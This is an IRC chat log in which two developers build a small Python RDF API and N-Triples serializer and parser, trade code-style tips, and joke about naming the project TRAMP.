<sbp> { _:a3 _:a4 _:a5 } 01:37:01 <sbp> { <#p> <#q> <data:,%5C%22r> } 01:37:03 <sbp> { <data:,%5C%22s> <#t> <data:,> } 01:37:05 <sbp> ) 01:37:22 <sbp> ugh: why aren't you outputting as NTriples? Would it be that difficult? 01:37:43 <AaronSw> Fine... do you want it in a context? 01:37:56 <sbp> nope, just spew it out 01:38:38 <sbp> s/'\n\t{ %s %s %s }'/'%s %s %s .' 01:38:44 <AaronSw> Yep, I'm on it. 01:38:48 <sbp> same with () 01:38:54 <sbp> :-) 01:39:51 <AaronSw> OK... 01:40:13 <AaronSw> Fixed in 1003628484 01:42:29 <sbp> cool:- 01:42:30 <sbp> _:a1 <#b> <data:,c> . 01:42:30 <sbp> <data:,d> <data:,e> <data:,f> . 01:42:30 <sbp> <#g> <data:,h> _:a2 . 01:42:30 <sbp> <#j> <#k> <#l> . 01:42:31 <sbp> _:a3 _:a4 _:a5 . 01:42:33 <sbp> <#p> <#q> <data:,%5C%22r> . 01:42:35 <sbp> <data:,%5C%22s> <#t> <data:,> . 01:42:46 <sbp> logster, off 16:36:28 <logster> logster has joined #swhack 16:36:28 <sagan.openprojects.net> topic is: € <-- The universal logo: stick it on your TV, magazines and newspapers. 16:36:28 <sagan.openprojects.net> Users on #swhack: logster BenSw|away AaronSw 16:36:40 <AaronSw> Hello. 16:37:14 <AaronSw> Hmm, time to paste in what logster missed: 16:37:15 <AaronSw> <sbp> cool:- 16:37:15 <AaronSw> <sbp> _:a1 <#b> <data:,c> . 16:37:15 <AaronSw> <sbp> <data:,d> <data:,e> <data:,f> . 16:37:15 <AaronSw> <sbp> <#g> <data:,h> _:a2 . 16:37:16 <AaronSw> <sbp> <#j> <#k> <#l> . 16:37:17 <AaronSw> <sbp> _:a3 _:a4 _:a5 . 16:37:19 <AaronSw> <sbp> <#p> <#q> <data:,%5C%22r> . 16:37:21 <AaronSw> <sbp> <data:,%5C%22s> <#t> <data:,> . 16:37:46 <AaronSw> <sbp> http://infomesh.net/2001/10/ntriples/ 16:37:46 <AaronSw> <sbp> not a bad bit of hacking, that 16:37:47 <AaronSw> <AaronSw> Not bad at all. 16:37:47 <AaronSw> <AaronSw> One comment, if I may: It might be better if instead of subclassing, your class had a link to a store. That way variables won't stomp on each other. 16:37:47 <AaronSw> <AaronSw> So instead of: 16:37:48 <AaronSw> <AaronSw> class NTriples(rdf.Store): 16:37:50 <AaronSw> <AaronSw> It'd be just NTriples: 16:37:52 <AaronSw> <AaronSw> and the __init__ would take a store=Store() option 16:37:54 <AaronSw> <sbp> ah, good idea 16:37:56 <AaronSw> <sbp> def __init__(self): 16:37:57 <sbp> sbp has joined #swhack 16:37:58 <AaronSw> <sbp> rdf.Store.__init__(self) 16:38:00 <AaronSw> <sbp> store = Store() 16:38:02 <AaronSw> <sbp> eh? 16:38:04 <AaronSw> <AaronSw> def __init__(self, store=rdf.Store()) 16:38:06 <AaronSw> <AaronSw> self.store = store 16:38:08 <AaronSw> <AaronSw> would be all you need 16:38:10 <AaronSw> <sbp> but then I'd need to change stuff too... 16:38:12 <AaronSw> <AaronSw> Yes, you'd need to change all store variables to self.store variables. 16:38:14 <AaronSw> <sbp> s/self.triple/self.store.triple 16:38:16 <AaronSw> <AaronSw> I don't have a self.triple... you mean tripleList? 16:38:18 <AaronSw> <sbp> no, I mean self.triple, and yes, you do 16:38:20 <AaronSw> <AaronSw> Oh, right. 16:38:22 <AaronSw> <AaronSw> yes, yes, carry on ;) 16:38:24 <AaronSw> <sbp> :-) 16:38:26 <AaronSw> <sbp> updated 16:38:28 <AaronSw> <sbp> I worked on a kind of meta API... I was very tired, so it didn't come out right 16:38:30 <AaronSw> <sbp> but the basic premise is that there are NAry relationships 16:38:32 <AaronSw> <sbp> and Terms 16:38:34 <AaronSw> <sbp> you just set the arity, and the datatype, and away you go! 16:38:36 <AaronSw> <AaronSw> Ooh, cool... so it'd work for TM too 16:38:38 <AaronSw> <sbp> TM? 16:38:40 <AaronSw> <AaronSw> Topic Maps 16:38:42 <AaronSw> <sbp> Turing Machines? 16:38:44 <AaronSw> <sbp> ah 16:38:46 <AaronSw> <sbp> well, it'd work for all extensions of RDF ever, hopefully 16:38:48 <AaronSw> <AaronSw> I don't see that. 16:38:50 <AaronSw> <sbp> well, you have terms, and you have relationships. What else is there 16:38:52 <AaronSw> <sbp> ? 16:38:54 <AaronSw> <AaronSw> Hmm, well perhaps... 16:38:56 <AaronSw> <sbp> yep, perhaps 16:38:58 <AaronSw> * sbp is still quite shocked at how short your RDF API is 16:39:00 <AaronSw> <AaronSw> Heheh. 16:39:02 <AaronSw> <sbp> really: it's a bit surreal 16:39:04 <AaronSw> <sbp> once you format it a bit better, strip out all the crap... 16:39:06 <AaronSw> <AaronSw> Format: how so... 16:39:08 <AaronSw> <AaronSw> ? 16:39:10 <AaronSw> <sbp> it'll be shorter than the NTriples parser :-) 16:39:12 <AaronSw> <AaronSw> I need to stip out those commented bits. 16:39:14 <AaronSw> <sbp> well, I have a kind of style guide... 16:39:16 <AaronSw> <AaronSw> Well I don't hve the GNU gunk yet. 16:39:18 <AaronSw> <sbp> yeah 16:39:20 <AaronSw> <AaronSw> I was trying for Morbusy code shui but I'm not quite there 16:39:22 <AaronSw> <AaronSw> Where's your style guide? I'm going for Guido-style. 16:39:24 <AaronSw> <sbp> nah 16:39:26 <AaronSw> <AaronSw> nah to what? 16:39:29 <AaronSw> *** rillian (Snak@00-30-65-2e-ae-5f.bconnected.net) has joined the channel 16:39:30 <AaronSw> <sbp> I read Guido style this morning 16:39:32 <AaronSw> <AaronSw> Python Style Guide: http://python.sourceforge.net/peps/pep-0008.html 16:39:34 <AaronSw> <AaronSw> Hi rillian 16:39:36 <AaronSw> <AaronSw> still looking for that CD? 16:39:38 <AaronSw> <sbp> well, what's next? Query engine? 16:39:40 <AaronSw> <AaronSw> Yep, that... and n3 and rdf/xml parsers 16:39:42 <AaronSw> <sbp> ooh, great fun 16:39:44 <AaronSw> * rillian waves 16:39:46 <AaronSw> <AaronSw> Actually, first I need to do equivalence 16:39:48 <AaronSw> * sbp waves 16:39:50 <AaronSw> <sbp> equivalence? 16:39:52 <AaronSw> <rillian> AaronSw: debian boot stuff? trying again now 16:39:54 <AaronSw> <sbp> you need a better function for putting triples in the store too 16:39:56 <AaronSw> <rillian> think I found the parts I need 16:39:58 <AaronSw> <AaronSw> Cool, rillian 16:40:00 <AaronSw> <sbp> you'll end up with duplicates as it is, I reckon 16:40:03 <AaronSw> <AaronSw> equivalence: so you can do triple == triple 16:40:04 <AaronSw> <AaronSw> What's wrong with duplicates? 16:40:06 <AaronSw> <sbp> they're messy, and it doesn't mean anything to repeat a triple in RDF 16:40:08 <AaronSw> <AaronSw> It does here tho, because triples are nodes 16:40:10 <AaronSw> <sbp> ah, good point 16:40:12 <AaronSw> <sbp> I'm still shocked at how short your code is! I thought you'd have written MBs of data by now... and I still don't get bits of what you've done 16:40:15 <AaronSw> <AaronSw> feel free to ask questions 16:40:17 <AaronSw> <AaronSw> I need to tersify the code a bit and add more comments 16:40:19 <AaronSw> <AaronSw> deltab, you awake? How do I check to see if object is of type x or any of its subclasses? 16:40:21 <AaronSw> <sbp> you need to write a manual! 16:40:23 <AaronSw> <sbp> why does Node have a nodeList dictionary? 16:40:25 <AaronSw> <AaronSw> Hmm... so I can keep track of all extant nodes. 16:40:27 <AaronSw> <AaronSw> Not sure if it's really necessary. 16:40:29 <AaronSw> <AaronSw> Oh, wait, nodeList keeps track of the URI->node mapping 16:40:31 <AaronSw> <AaronSw> It's a way to 'intern' the nodes 16:40:33 <AaronSw> <sbp> intern? 16:40:35 <AaronSw> <AaronSw> Yeah, so that we don't have two nodes that represent the same uri 16:40:37 <AaronSw> <AaronSw> that's why there's lower-case node 16:40:39 <AaronSw> <AaronSw> it returns a node if there's already one with that uri 16:40:41 <AaronSw> <sbp> ah... 16:40:43 <AaronSw> * sbp counts 57 lines, in a stripped down version 16:40:45 <AaronSw> <AaronSw> Of my code? Wow. 16:40:47 <AaronSw> <AaronSw> Hmm... this is odd: 16:40:49 <AaronSw> <AaronSw> Traceback (most recent call last): 16:40:51 <AaronSw> <AaronSw> File "rdfapi-tests.py", line 29, in ? 16:40:53 <AaronSw> <AaronSw> print store 16:40:55 <AaronSw> <AaronSw> File "rdfapi.py", line 157, in __repr__ 16:40:57 <AaronSw> <AaronSw> nodeIdMap[t.subject] = 'a' + `nodeIdNum` 16:40:59 <AaronSw> <AaronSw> TypeError: unhashable instance 16:41:01 <AaronSw> * sbp compresses Aaron's code even more 16:41:03 <AaronSw> <AaronSw> Oh dear! 16:41:05 <AaronSw> <sbp> 51 lines 16:41:07 <AaronSw> <AaronSw> Why does python claim my class is unhashable when I give it a __eq__ method? 16:41:09 <AaronSw> * AaronSw asks #python 16:41:11 <AaronSw> *** yoda_ (yoda@c930384-a.hlndpk1.il.home.com) has joined the channel 16:41:13 <AaronSw> *** yoda_ is now known as BenSw 16:41:15 <AaronSw> <sbp> ha, 49 lines! 16:41:17 <AaronSw> <sbp> no __repr__, though 16:41:19 <AaronSw> <sbp> Hi Ben 16:41:21 <AaronSw> <AaronSw> Heheh... what do you think I should do with it? 16:41:23 <AaronSw> <BenSw> Hello 16:41:25 <AaronSw> <sbp> do with what? 16:41:27 <AaronSw> <rillian> ok, off to try the linux re-install. wish me luck 16:41:29 <AaronSw> *** rillian has quit IRC (debian!) 16:41:31 <AaronSw> <sbp> ah, 48 lines 16:41:33 <AaronSw> <sbp> thank you, ";" 16:41:35 <AaronSw> <AaronSw> Why don't you move __repr__ into ntriples.py as a serialize command 16:41:37 <AaronSw> <sbp> I could do 16:41:39 <AaronSw> <sbp> but why should my code be messy when yours can? 16:41:41 <AaronSw> <sbp> :-) 16:41:43 <AaronSw> <sbp> O.K., I'll move it 16:41:45 <AaronSw> <AaronSw> So what do you have agains the Py style guide? 16:41:47 <AaronSw> <sbp> nothing, really 16:41:49 <AaronSw> <sbp> I just follow it 16:41:51 <AaronSw> <sbp> like not mixing tabs with spaces, eh Aaron? :-) 16:41:53 <AaronSw> <AaronSw> Hey! I don't mix them for _indentation_ 16:41:55 <AaronSw> <sbp> fine 16:41:57 <AaronSw> <sbp> added to http://infomesh.net/2001/10/ntriples/ 16:41:59 <AaronSw> <sbp> you can take out __repr__ now 16:42:01 <AaronSw> <AaronSw> OK, now you get to clean up that awful code ;) 16:42:03 <AaronSw> <sbp> aw, damn it 16:42:05 <AaronSw> * AaronSw goes thru and does a code clean up 16:42:09 <AaronSw> * AaronSw replaces header blurb with: 16:42:11 <AaronSw> <AaronSw> """An experimental RDF API which extends RDF 1.0 in a number of ways.""" 16:42:13 <AaronSw> <sbp> I wonder if the vanilla version actually works? 16:42:15 <AaronSw> <sbp> yes! 16:42:17 <AaronSw> <sbp> wow 16:42:19 <AaronSw> <sbp> Size: 1.60 KB (1,639 bytes) 16:42:21 <AaronSw> <AaronSw> Heh. That's pretty cool. 16:42:23 <AaronSw> <sbp> mind if I send it to www-archive? 16:42:25 <AaronSw> <AaronSw> No problem... 16:42:27 <AaronSw> <AaronSw> Arg! I don't think I've archived many of these versions... I hope I got all the important ones. 16:42:29 <AaronSw> <AaronSw> I need CVS. <sigh/> 16:42:31 <AaronSw> <sbp> I have some versions 16:42:33 <AaronSw> * sbp sends 16:42:35 <AaronSw> <sbp> so, what are you going to call it? 16:42:37 <AaronSw> <AaronSw> What? The API? I dunno... 16:42:39 <AaronSw> <AaronSw> Oh, in the n-triples serialization you need to convert data: URIs back into literals 16:42:41 <AaronSw> <AaronSw> Is rdfapi a bad name you think? 16:42:43 <AaronSw> <sbp> http://lists.w3.org/Archives/Public/www-archive/2001Oct/0025 16:42:45 <AaronSw> <AaronSw> Thanks. 16:42:47 <AaronSw> <sbp> a bad name: yes 16:42:49 <AaronSw> <sbp> it's not really a name, it's a description! 16:42:51 <AaronSw> <sbp> it needs a really cool name 16:42:53 <AaronSw> <sbp> I like CWM, and Llyn 16:42:55 <AaronSw> <sbp> RDF API is like, "huh?" 16:42:57 <AaronSw> <sbp> low-marketability 16:42:59 <AaronSw> <AaronSw> Yeah, I agtree. 16:43:01 <AaronSw> <AaronSw> Arty-Plesh ;) 16:43:03 <AaronSw> <AaronSw> BTW, tav said that he really hated the name plesh. 16:43:05 <AaronSw> <sbp> "mesh" would be better 16:43:07 <AaronSw> <sbp> he he he 16:43:09 <AaronSw> <sbp> tav only said that 'cause it's going to take over the world! 16:43:11 <AaronSw> <AaronSw> Heheheh. So you like it then? 16:43:13 <AaronSw> <AaronSw> tav: 16:43:15 <AaronSw> <AaronSw> [[[ 16:43:17 <AaronSw> <AaronSw> so, on that note, dataplesh is a good step forward. i also like the 16:43:19 <AaronSw> <AaronSw> "meaning" behind it. but, frankly, it's a shit name ;p 16:43:21 <AaronSw> <AaronSw> try saying "plesh" a few times. and as much as i have tried, the name 16:43:23 <AaronSw> <AaronSw> simply doesn't grow on you. 16:43:25 <AaronSw> <AaronSw> i really wouldn't want to stand up to a crowd and start talking to them 16:43:27 <AaronSw> <AaronSw> about the "plesh". and i talk to crowds about many strange things... 16:43:29 <AaronSw> <AaronSw> ]]] 16:43:31 <AaronSw> <sbp> yeah, I agree, sadly 16:43:33 <AaronSw> <AaronSw> Really? Hmm... 16:43:35 <AaronSw> <sbp> you need to go into naming-mode 16:43:37 <AaronSw> <AaronSw> Well, I better wait until tav comes back so he doesn't shoot it down again. 16:43:39 <AaronSw> <sbp> well, you can start thinking of stuff 16:43:41 <AaronSw> <sbp> you need to think of two things now 16:43:43 <AaronSw> <sbp> one for dataplesh, one for RDF API 16:43:45 <AaronSw> <AaronSw> Yep. 16:43:47 <AaronSw> <sbp> how about, infomesh, and SWIPT! Oh, hang on... 16:43:49 <AaronSw> <AaronSw> I dunno, I've been saying 'dataplesh' to everyone I know for the past week or so without any strange looks. 16:43:52 <AaronSw> <sbp> they've probably been humouring you 16:43:54 <AaronSw> <AaronSw> lol 16:43:56 <AaronSw> <sbp> "oh, Aaron's off on another one of his crazy schemes to take over the world" 16:43:58 <AaronSw> <AaronSw> That's actually a relatively new thing for me. 16:44:00 <AaronSw> <sbp> intermesh! 16:44:02 <AaronSw> <sbp> no... 16:44:04 <AaronSw> <AaronSw> Noah suggested I call it a dataplash. 16:44:06 <AaronSw> <sbp> yuck 16:44:08 <AaronSw> <sbp> that's worse than dataplesh 16:44:10 <AaronSw> <AaronSw> Then, he said, the stuff you dropped into it could be called splashes ;) 16:44:12 <AaronSw> <sbp> if this actually does become in the least bit successful, people are going to look through these logs and go "Hmm..." 16:44:15 <AaronSw> <AaronSw> In a what-were-they-smoking kind of way? 16:44:17 <AaronSw> <sbp> then again, if you don't think of a decent name, it's not going to be successful, so it won't matter 16:44:19 <AaronSw> <sbp> yeah, probably 16:44:21 <AaronSw> <sbp> for the record, then: nothing 16:44:23 <AaronSw> <AaronSw> Heh, well the World Wide Web was an awful name and it succeeded 16:44:25 <AaronSw> <sbp> Tim should have gone with infomesh 16:44:27 <AaronSw> * AaronSw just imagines Semantic Web historians pouring thru years of IRC logs... heh, heh 16:44:29 <AaronSw> <sbp> mwahahah! 16:44:31 <AaronSw> <sbp> wow, Semantic Web historians... that'll be a rare breed of people 16:44:33 <AaronSw> <AaronSw> Think so? 16:44:35 <AaronSw> <sbp> yeah. "Betamax historians" 16:44:37 <AaronSw> <AaronSw> such a pessimist... 16:44:39 <AaronSw> <sbp> Betamax apparently kicked ass! 16:44:41 <AaronSw> <AaronSw> It's still in use, you know. 16:44:43 <AaronSw> <AaronSw> All the television stations use it. 16:44:45 <AaronSw> <sbp> there's a 50/50 chance of the SW being as successful as we all hope, I reckon, same as there was with the WWW 16:44:48 <AaronSw> <sbp> which makes the chances of them both succeeding: 25/75 16:44:50 <AaronSw> <AaronSw> No, that's not true. 16:44:52 <AaronSw> <sbp> 1/2 * 1/2 16:44:54 <AaronSw> <AaronSw> Since one of them has already happened, it's back to 50/50 16:44:56 <AaronSw> <sbp> erm... 16:44:58 <AaronSw> <AaronSw> Probabilities are fun like that. 16:45:00 <AaronSw> <sbp> stupid probabilities 16:45:02 <AaronSw> <sbp> what's the probability that probabilities are probably useless? 16:45:04 <AaronSw> * AaronSw giggles 16:45:06 <AaronSw> <sbp> have you finished with the XRDF parser yet? 16:45:08 <AaronSw> <AaronSw> Oh, I'm still cleaning up the code. 16:45:10 <AaronSw> * AaronSw assumes XRDF => XML/RDF 16:45:12 <AaronSw> <sbp> Names for the RDF API: Raptor, Zephyr, Pogo, Cludgy, Vanilex, Wumple, Bob 16:45:14 <AaronSw> <AaronSw> Heheh. 16:45:16 <AaronSw> <AaronSw> When we were trying to name N-Triples Dan Connoly exlaimed in frustration, "Just call it Jojo or Fred or something." 16:45:19 <AaronSw> <sbp> lol 16:45:21 <AaronSw> <sbp> Who named it N-Triples? 16:45:23 <AaronSw> <AaronSw> I forget... it was a combination of two people... you'll have to check the logs 16:45:25 <AaronSw> * sbp won't: doesn't want to become an SW historian 16:45:27 <AaronSw> <AaronSw> Heheh. 16:45:29 <AaronSw> <sbp> Ah, how about "*The* RDF API"? 16:45:31 <AaronSw> <sbp> with "The" in big bold red animated flashing wavy glittery noisy letters? 16:45:33 <AaronSw> <sbp> *The* RDF API: Terse and Complex 16:45:35 <AaronSw> <AaronSw> Hehehe. 16:45:37 <AaronSw> <AaronSw> We might get sued by the W3C. 16:45:39 <AaronSw> <AaronSw> For disturbing the peace or something... 16:45:41 <AaronSw> <AaronSw> Using RDF in conjuction with the <blink> tag! 16:45:43 <AaronSw> <sbp> The RDF API in (Monty) Python 16:45:45 <AaronSw> <sbp> TRAMP 16:45:47 <AaronSw> <AaronSw> LOL 16:45:49 <AaronSw> * AaronSw adds that to the docstring 16:45:51 <AaronSw> <sbp> lol 16:45:53 <AaronSw> <AaronSw> """TRAMP: The RDF API in (Monty) Python 16:45:55 <AaronSw> <AaronSw> An experimental RDF API in which RDF 1.0 is modified and mangled 16:45:57 <AaronSw> <AaronSw> into an unrecognizable bit of higly terse and powerful code.""" 16:45:59 <AaronSw> <sbp> perfect! 16:46:01 <AaronSw> <sbp> still, perhaps it could be... nameless? An unnamed parser 16:46:03 <AaronSw> <AaronSw> Whoo! After tersification it is exactly 101 lines -- I better stop! 16:46:05 <AaronSw> * sbp finds a version from 2001-10-07 16:46:07 <AaronSw> <sbp> 101: neat 16:46:09 <AaronSw> <sbp> upload? 16:46:11 <AaronSw> * AaronSw runs unit tests... 16:46:13 <AaronSw> <sbp> "but we feel "? 16:46:15 <AaronSw> <AaronSw> Where's that from? 16:46:16 <sbp> sbp has quit 16:46:17 <AaronSw> <sbp> rdfapi.txt - 1003631225 16:46:19 <AaronSw> <AaronSw> I'm still fixing bugs! 16:46:21 <AaronSw> <sbp> it puts http://infomesh.net/2001/10/08/swipt/rdfstore.txt to shame 16:46:23 <AaronSw> <sbp> I meant: why "we"? 16:46:25 <AaronSw> <AaronSw> Where'd I use we? 16:46:27 <AaronSw> <sbp> "but we feel"! 16:46:29 <AaronSw> <sbp> Note that this API extends RDF 1.0 in a number of ways. Obviously, 16:46:31 <AaronSw> <sbp> it can be used as merely an RDF 1.0 API, but we feel that the 16:46:33 <AaronSw> <sbp> extentions added here are important and useful, but they will 16:46:35 <AaronSw> <sbp> likely not be compatible with other RDF 1.0 APIs. 16:46:37 <AaronSw> <sbp> and ugh @ "but", "but" 16:46:39 <AaronSw> <sbp> I use "we" sometimes when writing up a project. Dunno why 16:46:41 <AaronSw> <AaronSw> Yeah, I took that all out. 16:46:43 <AaronSw> <AaronSw> And replaced it with the TRAMP bit. 16:46:45 <AaronSw> <sbp> heh, heh, really? 16:46:47 <AaronSw> <AaronSw> Yep. 16:46:49 <AaronSw> <sbp> gutterslut is a better word, but it's too long to get an acronym out of 16:46:51 <AaronSw> <AaronSw> LOL 16:46:53 <AaronSw> <sbp> from "The Faculty" 16:46:55 <AaronSw> <sbp> that's definitely a highly rated phenomic word 16:46:57 <AaronSw> <AaronSw> Heh 16:46:59 <AaronSw> <sbp> aw, upload, upload! 16:47:01 <AaronSw> <AaronSw> I've still got this weird bug... 16:47:03 <AaronSw> <sbp> put it in a jar, feed it lettuce... 16:47:05 <AaronSw> <AaronSw> Ah, think I've got it. 16:47:07 <AaronSw> <AaronSw> How do I test if a Python object is a member of a class or any of its subclasses? 16:47:09 <AaronSw> <AaronSw> deltab responds isinstance() 16:47:11 <AaronSw> <AaronSw> Ooh, so close... 16:47:13 <AaronSw> <AaronSw> Wooh! it works 16:47:15 <AaronSw> <AaronSw> OK, 1003634831 is up 16:47:17 <AaronSw> <AaronSw> it's up sbp 16:47:19 <AaronSw> <sbp> great, just got it 16:47:21 <AaronSw> <sbp> <data:,u'd'> <data:,u'e'> <data:,u'f'> . 16:47:23 <AaronSw> <AaronSw> oops... 16:47:25 <AaronSw> <AaronSw> ok, fixed -- 1003635039 16:47:27 <AaronSw> <sbp> upload? 16:47:29 <AaronSw> <AaronSw> yep -- 1003635218 16:47:31 <AaronSw> * AaronSw adds test case for it. 16:47:33 <AaronSw> <sbp> ah, that's better 16:47:35 <AaronSw> <sbp> higly? 16:47:37 <AaronSw> <AaronSw> pah 16:47:39 <AaronSw> <AaronSw> fixed in next rev 16:47:41 <AaronSw> <sbp> :-) 16:47:43 <AaronSw> <sbp> http://www.eros-os.org/pipermail/e-lang/2001-October/005793.html 16:47:45 <AaronSw> <sbp> [[[ 16:47:47 <AaronSw> <sbp> C: 2673 16:47:49 <AaronSw> <sbp> Perl: 1361 16:47:51 <AaronSw> <sbp> C++: 1020 16:47:53 <AaronSw> <sbp> PHP: 740 16:47:55 <AaronSw> <sbp> Java: 726 16:47:57 <AaronSw> <sbp> Python: 403 16:47:59 <AaronSw> <sbp> Unix Shell: 246 16:48:01 <AaronSw> <sbp> Tcl: 190 16:48:03 <AaronSw> <sbp> SQL: 124 16:48:05 <AaronSw> <sbp> ]]] 16:48:07 <AaronSw> <AaronSw> Yeah, saw that from Zooko.com, you? 16:48:09 <AaronSw> <AaronSw> It gets worse for Python later on... :( 16:48:11 <AaronSw> <sbp> yeah... 16:48:13 <AaronSw> <AaronSw> Wow, Mean Mr. Mustard's sister used to be named Shelly! Heh! 16:48:15 <AaronSw> * AaronSw is listening to Anthology 3 16:48:17 <AaronSw> <AaronSw> which we just got 16:48:19 <AaronSw> <sbp> I have two pendingL http://uri.net/urn-nid-status.html 16:48:21 <AaronSw> <AaronSw> The songs on there are incredibly different. 16:48:23 <AaronSw> <sbp> I have Anthology 2... want anothology 3 16:48:25 <AaronSw> <AaronSw> Yeah, we have 1 and 2, I think. 16:48:27 <AaronSw> <sbp> what do you think about http://lists.netsol.com/cgi-bin/wa?A2=ind0109&L=urn-ietf&D=1&T=0&O=D&F=&S=&P=247 16:48:29 <AaronSw> <sbp> heh: and whatever happened to "tag:"? 16:48:31 <AaronSw> <AaronSw> Yeah, really.... 16:48:33 <AaronSw> <AaronSw> I think it's pretty useless, really... what'd you use it for? 16:48:35 <AaronSw> <AaronSw> It'd need to know quantification, which makes it effectively the same as _:foo except less clear 16:48:37 <AaronSw> <sbp> I used it for anonymous predicates in XRDF 16:48:39 <AaronSw> <sbp> well, I used anon: 16:48:41 <AaronSw> <sbp> aha: http://www.ietf.org/internet-drafts/draft-kindberg-tag-uri-01.txt 16:48:43 <AaronSw> <AaronSw> What's XRDF? 16:48:45 <AaronSw> <sbp> XML RDF 16:48:47 <AaronSw> <AaronSw> Ah... that might be somewhat useful... 16:48:49 <AaronSw> <AaronSw> Jeremy is using _:foo for his stuff since it's clearly disjoint with URIs. 16:48:51 <AaronSw> <sbp> you know my take on resources and URIs... 16:48:53 <AaronSw> <AaronSw> Umm... no? 16:48:55 <AaronSw> <AaronSw> I thought it changed with the weather. ;) 16:48:57 <AaronSw> <sbp> if you exist, you're a resource. if you're a resource, you can have a URI 16:48:59 <AaronSw> <AaronSw> Oh, yes. Of course. 16:49:01 <AaronSw> <AaronSw> It can have a URI, certainly... we're just too lazy to give it one. 16:49:03 <AaronSw> <AaronSw> That's how my RDF API works. 16:49:05 <AaronSw> <AaronSw> If you want to give an anon node a .uri property, go ahead! 16:49:07 <AaronSw> <sbp> since they're scoped to the store anyway, I don't particularly care 16:49:09 <AaronSw> * sbp wrote a really short NTriples parser somewhere... where'd it go? 16:49:11 <AaronSw> * AaronSw wonders whether to hook up the yapps parser or clean up sbp's ntriples code 16:49:13 <AaronSw> <AaronSw> yapps parser 16:49:15 <AaronSw> <sbp> aha:- 16:49:17 <AaronSw> <sbp> import sys, re; d, argv = [], sys.argv 16:49:19 <AaronSw> <sbp> t = r'[ \t]*(<[^>]+>|_:[^\s]+|\"(?:\\\"|[^"])*\")' 16:49:21 <AaronSw> <sbp> r = re.compile(t+t+t+r'[ \t]*.[ \t]*', re.S).findall 16:49:23 <AaronSw> <sbp> def y(t): 16:49:25 <AaronSw> <sbp> for x in range(len(t)): 16:49:27 <AaronSw> <sbp> if t[x][0] == '<': t[x] = (t[x][1:-1], 'URI') 16:49:29 <AaronSw> <sbp> elif t[x][0] == '_': t[x] = (t[x][2:], 'ANON') 16:49:31 <AaronSw> <sbp> elif t[x][0] == '"': t[x] = (t[x][1:-1], 'LIT') 16:49:33 <AaronSw> <sbp> return t 16:49:35 <AaronSw> <sbp> if __name__ == "__main__": 16:49:37 <AaronSw> <sbp> f = open(argv[1], 'r'); s = f.read(); f.close() 16:49:39 <AaronSw> <sbp> for t in r(s): d.append(y([t[0], t[1], t[2]])) 16:49:41 <AaronSw> <sbp> print str(d) 16:49:43 <AaronSw> <sbp> aw, do mine! 16:49:45 <AaronSw> <AaronSw> Heheh. This should be quick. 16:49:47 <AaronSw> <sbp> what should? 16:49:49 <AaronSw> <AaronSw> this yapps thing 16:49:51 <AaronSw> <sbp> ah 16:49:53 <AaronSw> <sbp> URI? 16:49:55 <AaronSw> <AaronSw> For what? 16:49:57 <AaronSw> <sbp> the yapps thing 16:49:59 <AaronSw> <AaronSw> It's in SWAP -- it's rdfn3_yapps.py 16:50:01 <AaronSw> <AaronSw> it's DanC's new n3 parser 16:50:03 <AaronSw> <sbp> yeah, I know about that! he did it ages ago. I mean, your hooking up of yapps with TRAMP 16:50:05 <AaronSw> <AaronSw> Well I'm still writing that! 16:50:07 <AaronSw> <sbp> develop it online! 16:50:09 <AaronSw> <AaronSw> Ehm... ok 16:50:11 <AaronSw> <AaronSw> Hmm... what eats sinks? 16:50:13 <AaronSw> <sbp> carrots 16:50:15 <AaronSw> <AaronSw> lol, what?! 16:50:17 <AaronSw> <sbp> carrots, they eat sinks. when you're not looking: they creep into the kitchen 16:50:19 <AaronSw> <sbp> and you wake up in the morning: "oh, some bugger's stolen my sink!". But really it was the carrots 16:50:21 <AaronSw> <sbp> they're like that, y'know 16:50:23 <AaronSw> <AaronSw> I didn't know that. 16:50:25 <AaronSw> <sbp> well now you do. Use it wisely, my friend 16:50:27 <AaronSw> <AaronSw> OK. 16:50:29 <AaronSw> <AaronSw> OK, it's at kitchen.txt 16:50:31 <AaronSw> <AaronSw> I should've named it carrots but it's too late now. 16:50:33 <AaronSw> <sbp> cool 16:50:35 <AaronSw> <AaronSw> Hmm... RESOURCE=RDFSink.SYMBOL # @@misnomer 16:50:37 <AaronSw> <AaronSw> from notation3.py 16:50:39 <AaronSw> <sbp> Hmm... 16:50:41 <AaronSw> *** sbp is sean@pC1s13a07.client.global.net.uk (Sean B. Palmer) 16:50:43 <AaronSw> *** on channels: #validator #swhack @#humanml @#sbp #dotgnu #rdfig 16:50:45 <AaronSw> *** on irc via server carter.openprojects.net ([127.0.0.1] Northern California, US) 16:50:46 <deltab> deltab has joined #swhack 16:50:47 <AaronSw> * sbp sends more junk to www-archive 16:50:49 <AaronSw> <AaronSw> heheh 16:50:51 <AaronSw> <sbp> http://lists.w3.org/Archives/Public/www-archive/2001Oct/0026 16:50:53 <AaronSw> <AaronSw> Ah, cool. 16:50:55 <AaronSw> <AaronSw> Thanks. 16:50:57 <AaronSw> <sbp> np 16:50:59 <AaronSw> <sbp> Gotta run 16:51:01 <AaronSw> <AaronSw> Heheh @ Useful Advice For RDF API Designers, Part 1 16:51:03 <AaronSw> <AaronSw> c'ya 16:51:05 <AaronSw> <sbp> ah, yeah, I thought you'd like that 16:51:07 <AaronSw> <sbp> I was going to send it to www-archive, but nah... 16:51:09 <AaronSw> <AaronSw> Ah twell... 16:51:11 <AaronSw> <AaronSw> We'll have to hide that as an easter eg 16:51:13 <AaronSw> <AaronSw> err egg 16:51:15 <AaronSw> <AaronSw> ;) 16:51:17 <AaronSw> <sbp> :-) 16:51:19 <AaronSw> <sbp> c'ya 16:51:21 <AaronSw> <AaronSw> c'ya 16:51:23 <AaronSw> * AaronSw wonders what tav will think when we use TRAMP as our foundation! 16:51:25 <AaronSw> <AaronSw> "What kind of a name is that?!" 16:51:27 <AaronSw> <AaronSw> A funny one. :) 16:51:29 <AaronSw> *** sbp has quit IRC (Ping timeout for sbp[pC1s13a07.client.global.net.uk]) 16:51:31 <AaronSw> * AaronSw watches Paul McCartney on VH1... he really can't sing anymore. 16:51:33 <AaronSw> *** rillian (Snak@00-30-65-2e-ae-5f.bconnected.net) has joined the channel 16:51:35 <AaronSw> *** rillian has quit IRC (night all) 16:51:37 <AaronSw> *** Does this mean you're really back? 16:51:39 <AaronSw> *** BenSw is now known as BenSw|working 16:51:41 <AaronSw> * AaronSw goes to install memory in his servers 17:16:31 <AaronSw> * AaronSw disconnects 18:04:40 <sbp> sbp has joined #swhack 18:11:34 <sbp> sbp has quit 18:50:56 <AaronSw> * AaronSw reconnects 19:00:58 <AaronSw> Brian McBride: "****ing BT: I'm offline can't quote the exact words" 19:08:04 <sbp> 